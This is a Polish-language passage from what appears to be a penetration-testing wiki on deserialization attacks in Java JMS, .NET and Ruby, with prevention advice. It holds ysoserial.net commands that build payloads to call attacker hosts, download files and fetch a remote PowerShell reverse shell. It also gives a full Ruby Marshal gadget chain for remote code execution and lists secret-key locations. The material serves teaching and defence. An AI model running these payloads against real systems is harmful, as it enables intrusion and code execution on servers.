{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %} jndi-java-naming-and-directory-interface-and-log4shell.md {% endcontent-ref %}

JMS - Java Message Service

Java Message Service (JMS) API to Java API middleware do przesyłania wiadomości między dwoma lub więcej klientami. Jest to implementacja do rozwiązania problemu producenta-konsumenta. JMS jest częścią Java Platform, Enterprise Edition (Java EE) i został zdefiniowany przez specyfikację opracowaną w Sun Microsystems, ale obecnie jest kierowany przez Java Community Process. Jest to standard komunikacji, który pozwala komponentom aplikacji opartym na Java EE tworzyć, wysyłać, odbierać i czytać wiadomości. Umożliwia komunikację między różnymi komponentami rozproszonej aplikacji w sposób luźno powiązany, niezawodny i asynchroniczny. (Z Wikipedia).

Produkty

Istnieje kilka produktów wykorzystujących to oprogramowanie pośredniczące do wysyłania wiadomości:

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

Wykorzystanie

W zasadzie istnieje wiele usług wykorzystujących JMS w niebezpieczny sposób. Dlatego jeśli masz wystarczające uprawnienia do wysyłania wiadomości do tych usług (zazwyczaj będziesz potrzebować ważnych poświadczeń), możesz wysłać zserializowane obiekty złośliwe, które zostaną zdeserializowane przez odbiorcę/subskrybenta.
Oznacza to, że w tym ataku wszyscy klienci korzystający z tej wiadomości zostaną zainfekowani.

Należy pamiętać, że nawet jeśli usługa jest podatna (ponieważ niebezpiecznie deserializuje dane wejściowe użytkownika), nadal musisz znaleźć ważne gadżety do wykorzystania podatności.

Narzędzie JMET zostało stworzone do połączenia i ataku na te usługi, wysyłając wiele zserializowanych obiektów złośliwych za pomocą znanych gadżetów. Te ataki zadziałają, jeśli usługa nadal jest podatna i jeśli którykolwiek z użytych gadżetów znajduje się w podatnej aplikacji.

Referencje

.Net

W kontekście .Net, ataki deserializacyjne działają podobnie jak te znalezione w Javie, gdzie gadżety są wykorzystywane do uruchamiania określonego kodu podczas deserializacji obiektu.

Odcisk palca

WhiteBox

Kod źródłowy powinien być sprawdzony pod kątem wystąpień:

  1. TypeNameHandling
  2. JavaScriptTypeResolver

Należy skupić się na serializatorach, które pozwalają określić typ za pomocą zmiennej kontrolowanej przez użytkownika.

BlackBox

Wyszukiwanie powinno być skierowane na zakodowany w Base64 ciąg AAEAAAD///// lub dowolny podobny wzorzec, który może zostać zdeserializowany po stronie serwera, umożliwiając kontrolę nad typem do zdeserializowania. Może to obejmować, ale nie ograniczać się do, struktur JSON lub XML zawierających TypeObject lub $type.

ysoserial.net

W tym przypadku można skorzystać z narzędzia ysoserial.net w celu tworzenia exploitów deserializacyjnych. Po pobraniu repozytorium git należy skompilować narzędzie przy użyciu na przykład Visual Studio.

Jeśli chcesz dowiedzieć się, jak ysoserial.net tworzy swoje exploity, możesz sprawdzić tę stronę, gdzie wyjaśniono gadżet ObjectDataProvider + ExpandedWrapper + formater Json.Net.

Główne opcje ysoserial.net to: --gadget, --formatter, --output i --plugin.

  • --gadget służy do wskazania gadżetu do wykorzystania (wskazuje klasę/funkcję, która będzie wykorzystana podczas deserializacji do wykonania poleceń).
  • --formatter, służy do wskazania metody serializacji exploita (musisz wiedzieć, która biblioteka jest używana przez back-end do deserializacji ładunku i użyć tej samej do jego serializacji)
  • --output służy do wskazania, czy chcesz exploit w formacie surowym czy zakodowanym w Base64. Zauważ, że ysoserial.net zakoduje ładunek za pomocą UTF-16LE (domyślne kodowanie używane w systemie Windows), więc jeśli otrzymasz surowy i po prostu zakodujesz go z konsoli systemu Linux, możesz napotkać problemy z zgodnością kodowania, które uniemożliwią poprawne działanie exploita (w HTB JSON box ładunek działał zarówno w UTF-16LE, jak i ASCII, ale to nie oznacza, że zawsze będzie działać).
  • --plugin ysoserial.net obsługuje wtyczki do tworzenia exploitów dla konkretnych frameworków jak ViewState

Więcej parametrów ysoserial.net

  • --minify dostarczy mniejszego ładunku (jeśli to możliwe)
  • --raf -f Json.Net -c "anything" To wskaże wszystkie gadżety, które można użyć z podanym formaterem (Json.Net w tym przypadku)
  • --sf xml możesz wskazać gadżet (-g) i ysoserial.net będzie szukał formaterów zawierających "xml" (bez rozróżniania wielkości liter)

Przykłady exploitów ysoserial do tworzenia:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net ma również bardzo interesujący parametr, który pomaga lepiej zrozumieć, jak działa każdy exploit: --test. Jeśli wskazujesz ten parametr, ysoserial.net spróbuje exploitu lokalnie, dzięki czemu możesz przetestować, czy twój payload będzie działać poprawnie. Ten parametr jest pomocny, ponieważ po przejrzeniu kodu znajdziesz fragmenty kodu takie jak ten (z ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

To oznacza, że w celu przetestowania exploitu kod wywoła serializersHelper.JsonNet_deserialize

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

W poprzednim kodzie jest podatny na stworzenie eksploatacji. Jeśli więc znajdziesz coś podobnego w aplikacji .Net, oznacza to prawdopodobnie, że ta aplikacja również jest podatna.
Dlatego parametr --test pozwala nam zrozumieć, które fragmenty kodu są podatne na eksploatację deserializacji, którą może stworzyć ysoserial.net.

ViewState

Zajrzyj do tego POSTA na temat jak próbować wykorzystać parametr __ViewState w .Net do wykonywania dowolnego kodu. Jeśli już znasz sekrety używane przez maszynę ofiary, przeczytaj ten post, aby dowiedzieć się, jak wykonać kod.

Zapobieganie

Aby zmniejszyć ryzyko związane z deserializacją w .Net:

  • Unikaj pozwalania strumieniom danych na definiowanie typów obiektów. Korzystaj z DataContractSerializer lub XmlSerializer, gdy to możliwe.
  • Dla JSON.Net, ustaw TypeNameHandling na None: %%%TypeNameHandling = TypeNameHandling.None%%%
  • Unikaj używania JavaScriptSerializer z JavaScriptTypeResolver.
  • Ogranicz typy, które mogą być deserializowane, rozumiejąc wrodzone ryzyka związane z typami .Net, takimi jak System.IO.FileInfo, które mogą modyfikować właściwości plików serwera, potencjalnie prowadząc do ataków typu odmowa usługi.
  • Bądź ostrożny z typami posiadającymi ryzykowne właściwości, takimi jak System.ComponentModel.DataAnnotations.ValidationException z jego właściwością Value, która może być wykorzystana.
  • Bezpiecznie kontroluj instancjonowanie typów, aby zapobiec wpływaniu atakujących na proces deserializacji, czyniąc nawet DataContractSerializer lub XmlSerializer podatnymi.
  • Wprowadź kontrolę białej listy za pomocą niestandardowego SerializationBinder dla BinaryFormatter i JSON.Net.
  • Bądź na bieżąco z znanymi niebezpiecznymi gadżetami deserializacji w .Net i upewnij się, że deserializatory nie instancjonują takich typów.
  • Izoluj potencjalnie ryzykowny kod od kodu z dostępem do internetu, aby uniknąć ujawnienia znanych gadżetów, takich jak System.Windows.Data.ObjectDataProvider w aplikacjach WPF, dla niezaufanych źródeł danych.

Referencje

Ruby

W Ruby serializacja jest ułatwiona przez dwie metody w bibliotece marshal. Pierwsza metoda, znana jako dump, służy do przekształcenia obiektu w strumień bajtów. Ten proces nazywa się serializacją. Z kolei druga metoda, load, służy do przywrócenia strumienia bajtów z powrotem do obiektu, proces ten nazywa się deserializacją.

Dla zabezpieczenia zserializowanych obiektów, Ruby wykorzystuje HMAC (Hash-Based Message Authentication Code), zapewniając integralność i autentyczność danych. Klucz używany w tym celu jest przechowywany w jednym z kilku możliwych miejsc:

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Łańcuch gadżetów deserializacji do RCE w Ruby 2.X (więcej informacji w https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Inny łańcuch RCE do wykorzystania w Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/